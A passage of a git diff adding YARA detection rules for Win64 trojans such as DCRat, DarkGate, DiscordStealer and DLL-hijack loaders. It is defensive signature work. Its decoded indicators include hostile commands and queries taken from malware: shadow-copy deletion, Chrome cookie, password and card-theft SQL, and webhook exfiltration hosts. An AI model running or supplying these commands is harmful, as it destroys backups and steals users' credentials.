"Trojan:Win64/CryptInject.GKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 d6 89 0d ec 09 0a 00 0f b6 df 89 d0 0f b6 df 4c 8b 4d c2 8b 5d c4 4d 09 ca 89 45 dc 0f b6 da 81 ea ?? ?? ?? ?? 31 55 ce 4c 89 55 d5 21 c3 31 55 f9 09 c1 09 5d d0 21 4d c5 89 5d fc 01 c0 48 ff 04 24 48 83 3c 24 09 0f 8e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_MQH_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_MQH_MTB.yar new file mode 100644 index 0000000000..8930915bc7 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_MQH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_MQH_MTB{ + meta: + description = "Trojan:Win64/CryptInject.MQH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 29 c6 49 63 de 48 8d 14 1c 48 81 c2 70 01 00 00 e8 ?? ?? ?? ?? 0f b6 84 3c 70 01 00 00 0f b6 8c 1c 70 01 00 00 01 c1 0f b6 c1 0f b6 84 04 70 01 00 00 48 63 4c 24 64 30 04 0e 8b 7c 24 64 83 c7 01 b8 c4 d5 1f d7 3d bb 36 00 07 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_YYG_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_YYG_MTB.yar new file mode 100644 index 0000000000..516db09f71 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_YYG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_YYG_MTB{ + meta: + description = "Trojan:Win64/CryptInject.YYG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 ce 4c 8d 75 bb 49 81 ec ?? ?? ?? ?? 48 89 4d bf 8b 55 bb 31 d0 8b 55 b0 4c 89 d9 2b 55 f8 31 d1 81 c1 6e a9 00 00 48 81 ea 9e 73 00 00 29 d0 4c 89 4d c4 4d 01 c1 48 ff 04 24 83 3c 24 07 0f 8c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_ZFW_MTB.yar b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_ZFW_MTB.yar new file mode 100644 index 0000000000..f99034bad5 --- /dev/null +++ b/Trojan/Win64/CryptInject/Trojan_Win64_CryptInject_ZFW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_CryptInject_ZFW_MTB{ + meta: + description = "Trojan:Win64/CryptInject.ZFW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {55 48 89 e5 48 83 ec 40 48 89 75 f8 48 89 f1 48 81 c1 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 89 c6 48 89 05 ?? ?? ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? 55 48 89 e5 48 81 ec } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/CurlBackRAT/Trojan_Win64_CurlBackRAT_PSR_MTB.yar b/Trojan/Win64/CurlBackRAT/Trojan_Win64_CurlBackRAT_PSR_MTB.yar new file mode 100644 index 0000000000..ea9ef9c166 --- /dev/null +++ b/Trojan/Win64/CurlBackRAT/Trojan_Win64_CurlBackRAT_PSR_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_CurlBackRAT_PSR_MTB{ + meta: + description = "Trojan:Win64/CurlBackRAT.PSR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {2f 64 6e 61 6d 6d 6f 63 6d 76 69 74 6e 61 } //1 /dnammocmvitna + $a_81_1 = {61 6e 74 69 2d 76 6d 2e 74 78 74 } //1 anti-vm.txt + $a_81_2 = {4e 4f 20 43 50 55 20 46 41 4e 20 46 4f 55 4e 44 20 2c 20 45 58 49 54 49 4e 47 20 21 } //1 NO CPU FAN FOUND , EXITING ! + $a_81_3 = {53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 } //1 SELECT * FROM AntiVirusProduct + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/DCRat/Trojan_Win64_DCRat_ETL_MTB.yar b/Trojan/Win64/DCRat/Trojan_Win64_DCRat_ETL_MTB.yar new file mode 100644 index 0000000000..de707552aa --- /dev/null +++ b/Trojan/Win64/DCRat/Trojan_Win64_DCRat_ETL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DCRat_ETL_MTB{ + meta: + description = "Trojan:Win64/DCRat.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {b8 a1 a0 a0 a0 41 f7 e0 c1 ea 05 0f be c2 6b c8 33 41 0f b6 c0 2a c1 04 32 41 30 01 41 ff c0 4d 8d 49 01 41 83 f8 10 7c d7 } //2 + $a_81_1 = {4c 6f 61 64 65 72 2e 70 64 62 } //1 Loader.pdb + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Dacic/Trojan_Win64_Dacic_C_MTB.yar b/Trojan/Win64/Dacic/Trojan_Win64_Dacic_C_MTB.yar new file mode 100644 index 0000000000..d783ce06c7 --- /dev/null +++ b/Trojan/Win64/Dacic/Trojan_Win64_Dacic_C_MTB.yar @@ -0,0 +1,19 @@ + +rule Trojan_Win64_Dacic_C_MTB{ + meta: + description = "Trojan:Win64/Dacic.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 09 00 00 " + + strings : + $a_01_0 = {61 70 70 5f 62 6f 75 6e 64 5f 65 6e 63 72 79 70 74 65 64 5f 6b 65 79 } //2 app_bound_encrypted_key + $a_01_1 = {63 68 72 6f 6d 65 5f 61 70 70 62 6f 75 6e 64 5f 6b 65 79 2e 74 78 74 } //2 chrome_appbound_key.txt + $a_01_2 = {53 45 4c 45 43 54 20 68 6f 73 74 5f 6b 65 79 2c 20 6e 61 6d 65 2c 20 65 6e 63 72 79 70 74 65 64 5f 76 61 6c 75 65 20 46 52 4f 4d 20 63 6f 6f 6b 69 65 73 3b } //2 SELECT host_key, name, encrypted_value FROM cookies; + $a_01_3 = {53 45 4c 45 43 54 20 6f 72 69 67 69 6e 5f 75 72 6c 2c 20 75 73 65 72 6e 61 6d 65 5f 76 61 6c 75 65 2c 20 70 61 73 73 77 6f 72 64 5f 76 61 6c 75 65 20 46 52 4f 4d 20 6c 6f 67 69 6e 73 3b } //2 SELECT origin_url, username_value, password_value FROM logins; + $a_01_4 = {53 45 4c 45 43 54 20 67 75 69 64 2c 20 6e 61 6d 65 5f 6f 6e 5f 63 61 72 64 2c 20 65 78 70 69 72 61 74 69 6f 6e 5f 6d 6f 6e 74 68 2c 20 65 78 70 69 72 61 74 69 6f 6e 5f 79 65 61 72 2c 20 63 61 72 64 5f 6e 75 6d 62 65 72 5f 65 6e 63 72 79 70 74 65 64 20 46 52 4f 4d 20 63 72 65 64 69 74 5f 63 61 72 64 73 3b } //2 SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards; + $a_01_5 = {52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 } //1 ReflectiveLoader + $a_01_6 = {55 73 65 72 20 44 61 74 61 } //1 User Data + $a_01_7 = {4c 6f 67 69 6e 20 44 61 74 61 } //1 Login Data + $a_01_8 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 6c 6f 67 } //1 chrome_decrypt.log + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/Dacic/Trojan_Win64_Dacic_SEC_MTB.yar b/Trojan/Win64/Dacic/Trojan_Win64_Dacic_SEC_MTB.yar new file mode 100644 index 0000000000..83092fe786 --- /dev/null +++ b/Trojan/Win64/Dacic/Trojan_Win64_Dacic_SEC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Dacic_SEC_MTB{ + meta: + description = "Trojan:Win64/Dacic.SEC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {2a 75 39 4a 6d 6d 58 2a 4c 46 44 39 44 31 } //2 *u9JmmX*LFD9D1 + $a_01_1 = {74 56 23 2a 76 56 39 69 34 65 78 36 7a 57 } //1 tV#*vV9i4ex6zW + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_DB_MTB.yar b/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_DB_MTB.yar new file mode 100644 index 0000000000..360c3d2520 --- /dev/null +++ b/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_DB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DarkCloud_DB_MTB{ + meta: + description = "Trojan:Win64/DarkCloud.DB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 04 01 43 0f b6 0c 01 01 c1 0f b6 c1 48 8b 4d b0 8a 04 01 48 63 4d f4 41 30 04 0a 8b 45 f4 83 c0 01 89 45 e0 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 b8 ?? ?? ?? ?? b9 ?? ?? ?? ?? e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_SX_MTB.yar b/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_SX_MTB.yar new file mode 100644 index 0000000000..786f118cfb --- /dev/null +++ b/Trojan/Win64/DarkCloud/Trojan_Win64_DarkCloud_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_DarkCloud_SX_MTB{ + meta: + description = "Trojan:Win64/DarkCloud.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {89 fd 21 dd 31 fb 44 89 cf 09 eb 89 d5 44 21 fd 41 31 d7 41 09 ef 89 da f7 d2 } //5 + $a_03_1 = {4c 89 84 24 80 00 00 00 4c 89 c6 48 21 fe 48 09 de 48 31 fe 48 89 f3 48 f7 d3 48 bf ?? ?? ?? ?? ?? ?? ?? ?? 48 21 fb 48 f7 d7 } //3 + $a_03_2 = {48 89 d9 31 d2 45 31 c0 45 31 c9 ff 15 ?? ?? ?? ?? 85 c0 b8 e5 ad 15 4e 41 0f 44 c6 3d 43 2e 7a 25 } //2 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*3+(#a_03_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/DarkGate/Trojan_Win64_DarkGate_GVD_MTB.yar b/Trojan/Win64/DarkGate/Trojan_Win64_DarkGate_GVD_MTB.yar new file mode 100644 index 0000000000..9996a4f147 --- /dev/null +++ b/Trojan/Win64/DarkGate/Trojan_Win64_DarkGate_GVD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DarkGate_GVD_MTB{ + meta: + description = "Trojan:Win64/DarkGate.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 63 d0 0f b6 0c 32 41 88 0c 31 44 88 14 32 41 0f b6 14 31 49 03 d2 0f b6 ca 0f b6 0c 31 41 30 0b 49 ff c3 48 83 eb 01 75 a3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/DarkMoon/Trojan_Win64_DarkMoon_GVA_MTB.yar b/Trojan/Win64/DarkMoon/Trojan_Win64_DarkMoon_GVA_MTB.yar new file mode 100644 index 0000000000..6d7097726e --- /dev/null +++ b/Trojan/Win64/DarkMoon/Trojan_Win64_DarkMoon_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DarkMoon_GVA_MTB{ + meta: + description = "Trojan:Win64/DarkMoon.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_02_0 = {32 c3 48 8d 3f 48 8d 3f 48 8d 3f 90 13 2a c3 48 8d 3f 48 8d 3f 48 8d 3f 90 13 48 8d 3f 32 c3 48 8d 3f 2a c3 90 13 48 8d 3f 48 8d 3f c0 c8 fe 48 8d 3f 90 13 48 8d 3f 48 8d 3f aa 48 83 e9 01 } //2 + $a_01_1 = {ac 48 8d 3f 48 8d 3f } //1 + condition: + ((#a_02_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/DeedRAT/Trojan_Win64_DeedRAT_GALA_MTB.yar b/Trojan/Win64/DeedRAT/Trojan_Win64_DeedRAT_GALA_MTB.yar new file mode 100644 index 0000000000..ff8c1dff68 --- /dev/null +++ b/Trojan/Win64/DeedRAT/Trojan_Win64_DeedRAT_GALA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_DeedRAT_GALA_MTB{ + meta: + description = "Trojan:Win64/DeedRAT.GALA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_81_0 = {76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //8 vssadmin delete shadows /all /quiet + $a_81_1 = {77 65 62 68 6f 6f 6b 73 2f 59 4f 55 52 5f 57 45 42 48 4f 4f 4b 5f 48 45 52 45 } //1 webhooks/YOUR_WEBHOOK_HERE + $a_81_2 = {64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 } //1 decrypt your files + condition: + ((#a_81_0 & 1)*8+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/DelShad/Trojan_Win64_DelShad_SK_MTB.yar b/Trojan/Win64/DelShad/Trojan_Win64_DelShad_SK_MTB.yar new file mode 100644 index 0000000000..3605e2f3bc --- /dev/null +++ b/Trojan/Win64/DelShad/Trojan_Win64_DelShad_SK_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_DelShad_SK_MTB{ + meta: + description = "Trojan:Win64/DelShad.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {2f 63 20 76 73 73 61 64 6d 69 6e 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //1 /c vssadmin delete shadows /all /quiet + $a_01_1 = {50 72 6f 67 72 61 6d 44 61 74 61 5c 73 65 73 73 69 6f 6e 75 73 65 72 68 6f 73 74 2e 65 78 65 20 2f 73 63 20 6f 6e 6c 6f 67 6f 6e 20 2f 72 6c 20 48 49 47 48 45 53 54 } //1 ProgramData\sessionuserhost.exe /sc onlogon /rl HIGHEST + $a_01_2 = {53 50 47 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 6c 6f 61 64 65 72 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 73 65 73 73 69 6f 6e 75 73 65 72 68 6f 73 74 2e 70 64 62 } //1 SPG\source\repos\loader\x64\Release\sessionuserhost.pdb + $a_01_3 = {73 65 73 73 69 6f 6e 75 73 65 72 68 6f 73 74 2e 65 78 65 } //1 sessionuserhost.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/DiscordStealer/Trojan_Win64_DiscordStealer_AHB_MTB.yar b/Trojan/Win64/DiscordStealer/Trojan_Win64_DiscordStealer_AHB_MTB.yar new file mode 100644 index 0000000000..d35ea09ba5 --- /dev/null +++ b/Trojan/Win64/DiscordStealer/Trojan_Win64_DiscordStealer_AHB_MTB.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win64_DiscordStealer_AHB_MTB{ + meta: + description = "Trojan:Win64/DiscordStealer.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 00 " + + strings : + $a_03_0 = {0f 57 c0 0f 11 45 ?? 4c 89 ?? ?? 4c 89 ?? ?? 0f 10 00 0f 11 45 ?? 0f 10 48 10 0f 11 4d ?? 4c 89 ?? 10 48 c7 40 18 0f 00 00 00 c6 00 00 48 8b 54 24 ?? 48 83 fa 0f } //5 + $a_01_1 = {5c 4c 6f 63 61 6c 20 53 74 6f 72 61 67 65 5c 6c 65 76 65 6c 64 62 } //1 \Local Storage\leveldb + $a_01_2 = {77 65 62 68 6f 6f 6b 2e 73 69 74 65 } //1 webhook.site + $a_01_3 = {5c 64 69 73 63 6f 72 64 63 61 6e 61 72 79 } //1 \discordcanary + $a_01_4 = {5c 4c 69 67 68 74 63 6f 72 64 } //1 \Lightcord + $a_01_5 = {5c 64 69 73 63 6f 72 64 70 74 62 } //1 \discordptb + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/DisguisedXMRigMiner/Trojan_Win64_DisguisedXMRigMiner_MX_MTB.yar b/Trojan/Win64/DisguisedXMRigMiner/Trojan_Win64_DisguisedXMRigMiner_MX_MTB.yar new file mode 100644 index 0000000000..a0a73564c6 --- /dev/null +++ b/Trojan/Win64/DisguisedXMRigMiner/Trojan_Win64_DisguisedXMRigMiner_MX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DisguisedXMRigMiner_MX_MTB{ + meta: + description = "Trojan:Win64/DisguisedXMRigMiner.MX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {85 c0 74 1f 0f bf 44 24 40 0f bf 4c 24 50 89 05 0e bf 21 00 0f bf 44 24 4c 2b c8 ff c1 89 0d f3 be 21 00 48 8b 4c 24 58 48 33 cc } //1 + $a_01_1 = {47 00 6f 00 6c 00 61 00 6e 00 67 00 2d 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 } //1 Golang-Updater + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DD_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DD_MTB.yar new file mode 100644 index 0000000000..b0f197bf25 --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DD_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_DLLHijack_DD_MTB{ + meta: + description = "Trojan:Win64/DLLHijack.DD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 03 00 00 " + + strings : + $a_81_0 = {6d 70 63 6c 69 65 6e 74 2e 64 6c 6c } //5 mpclient.dll + $a_81_1 = {43 3a 2f 50 72 6f 67 72 61 6d 44 61 74 61 2f 50 6f 77 65 72 54 6f 79 73 2f } //10 C:/ProgramData/PowerToys/ + $a_81_2 = {64 32 76 74 6b 74 31 31 62 31 61 37 7a 73 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 } //10 d2vtkt11b1a7zs.cloudfront.net + condition: + ((#a_81_0 & 1)*5+(#a_81_1 & 1)*10+(#a_81_2 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DE_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DE_MTB.yar new file mode 100644 index 0000000000..40ca9f70ff --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DLLHijack_DE_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_DLLHijack_DE_MTB{ + meta: + description = "Trojan:Win64/DLLHijack.DE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {74 61 73 6b 6b 69 6c 6c 20 2f 46 20 2f 49 4d 20 6d 73 65 64 67 65 2e 65 78 65 } //1 taskkill /F /IM msedge.exe + $a_81_1 = {6e 6f 74 65 2e 68 74 6d 6c } //1 note.html + $a_81_2 = {72 61 6e 73 6f 6d 73 76 63 } //1 ransomsvc + $a_81_3 = {73 74 61 72 74 2d 66 75 6c 6c 73 63 72 65 65 6e } //1 start-fullscreen + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_ADL_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_ADL_MTB.yar new file mode 100644 index 0000000000..dc069de48b --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_ADL_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DllHijack_ADL_MTB{ + meta: + description = "Trojan:Win64/DllHijack.ADL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {48 89 44 24 48 48 8d 84 24 80 00 00 00 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 04 00 00 00 89 74 24 20 45 33 c9 45 33 c0 49 8b d6 33 c9 } //2 + $a_03_1 = {8d 56 01 b9 ff ff 1f 00 ff 15 ?? ?? ?? ?? 48 8b f8 48 89 44 24 50 45 8b f4 c7 44 24 20 40 00 00 00 41 b9 00 30 00 00 45 8b c4 33 d2 48 8b c8 } //3 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_BY_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_BY_MTB.yar new file mode 100644 index 0000000000..77fda64c93 --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_BY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_DllHijack_BY_MTB{ + meta: + description = "Trojan:Win64/DllHijack.BY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {42 0f b6 0c 08 03 d1 81 e2 ff 00 00 80 7d 0a ff ca 81 ca 00 ff ff ff ff c2 48 63 c2 49 ff c2 42 0f b6 0c 08 41 30 4a ff 49 ff c8 0f 85 } //4 + $a_01_1 = {0f b6 d1 43 0f b6 0c 0b 42 0f b6 04 0a 43 88 04 0b 42 88 0c 0a } //1 + condition: + ((#a_01_0 & 1)*4+(#a_01_1 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_C_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_C_MTB.yar new file mode 100644 index 0000000000..409d71f062 --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_C_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_DllHijack_C_MTB{ + meta: + description = "Trojan:Win64/DllHijack.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {41 8b 08 44 8b 0d ?? ?? ?? ?? 48 03 cf eb ?? 41 0f b7 4c 55 00 48 8b 85 ?? ?? ?? ?? 8b 04 88 48 03 c7 eb ?? 0f b6 c0 48 ff c1 46 8d 0c 48 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_MKV_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_MKV_MTB.yar index 310e7082b6..247c558143 100644 --- a/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_MKV_MTB.yar +++ b/Trojan/Win64/DllHijack/Trojan_Win64_DllHijack_MKV_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_Win64_DllHijack_MKV_MTB{ condition: ((#a_03_0 & 1)*5) >=5 +} +rule Trojan_Win64_DllHijack_MKV_MTB_2{ + meta: + description = "Trojan:Win64/DllHijack.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {45 8b c0 4f 8d 44 c7 10 44 8b c8 46 0f b6 4c 0f ?? 44 8b d1 41 c1 fa 1f 41 83 e2 07 44 03 d1 41 83 e2 f8 41 2b ca c1 e1 03 49 d3 e1 4d 31 08 ff c0 3b d0 7f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + } \ No newline at end of file diff --git a/Trojan/Win64/DllHijack/Trojan_Win64_Dllhijack_CCJW_MTB.yar b/Trojan/Win64/DllHijack/Trojan_Win64_Dllhijack_CCJW_MTB.yar new file mode 100644 index 0000000000..be588536e7 --- /dev/null +++ b/Trojan/Win64/DllHijack/Trojan_Win64_Dllhijack_CCJW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Dllhijack_CCJW_MTB{ + meta: + description = "Trojan:Win64/Dllhijack.CCJW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b c6 8b ce c1 e0 06 c1 e9 08 33 c8 8b c7 83 e0 03 41 03 4c 85 00 03 ce 03 cf 43 29 4c 26 04 43 8b 44 26 04 43 89 04 26 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/DllInject/Trojan_Win64_DllInject_BU_MTB.yar b/Trojan/Win64/DllInject/Trojan_Win64_DllInject_BU_MTB.yar new file mode 100644 index 0000000000..b11efcdaaa --- /dev/null +++ b/Trojan/Win64/DllInject/Trojan_Win64_DllInject_BU_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_DllInject_BU_MTB{ + meta: + description = "Trojan:Win64/DllInject.BU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {31 37 31 36 37 37 38 37 37 30 73 74 65 61 6c 65 72 2e 64 6c 6c } //1 1716778770stealer.dll + $a_01_1 = {47 6f 6c 63 6f 6e 64 61 5f 70 6f 70 70 79 63 6f 63 6b 57 69 6c 6c 69 61 6d } //1 Golconda_poppycockWilliam + $a_01_2 = {62 6c 75 66 66 5f 68 61 6e 64 62 61 6c 6c 73 5f 69 6e 74 65 72 63 65 70 74 6f 72 } //1 bluff_handballs_interceptor + $a_01_3 = {64 65 63 6c 61 72 61 74 69 6f 6e 5f 62 6c 6f 63 6b 68 6f 75 73 65 5f 72 75 73 74 70 72 6f 6f 66 73 } //1 declaration_blockhouse_rustproofs + $a_01_4 = {68 61 6e 64 62 61 67 5f 6d 6f 6e 6f 63 6f 74 79 6c 65 64 6f 6e } //1 handbag_monocotyledon + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Donut/Trojan_Win64_Donut_GZQ_MTB.yar b/Trojan/Win64/Donut/Trojan_Win64_Donut_GZQ_MTB.yar new file mode 100644 index 0000000000..f33757a5c9 --- /dev/null +++ b/Trojan/Win64/Donut/Trojan_Win64_Donut_GZQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Donut_GZQ_MTB{ + meta: + description = "Trojan:Win64/Donut.GZQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 fc 48 63 d0 48 8b 45 10 48 01 d0 0f b6 00 32 45 20 89 c1 8b 45 fc 48 63 d0 48 8b 45 28 48 01 d0 89 ca 88 10 83 45 fc 01 8b 45 fc 3b 45 18 7c } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Donut/Trojan_Win64_Donut_MKV_MTB.yar b/Trojan/Win64/Donut/Trojan_Win64_Donut_MKV_MTB.yar new file mode 100644 index 0000000000..07fc3abfbb --- /dev/null +++ b/Trojan/Win64/Donut/Trojan_Win64_Donut_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Donut_MKV_MTB{ + meta: + description = "Trojan:Win64/Donut.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 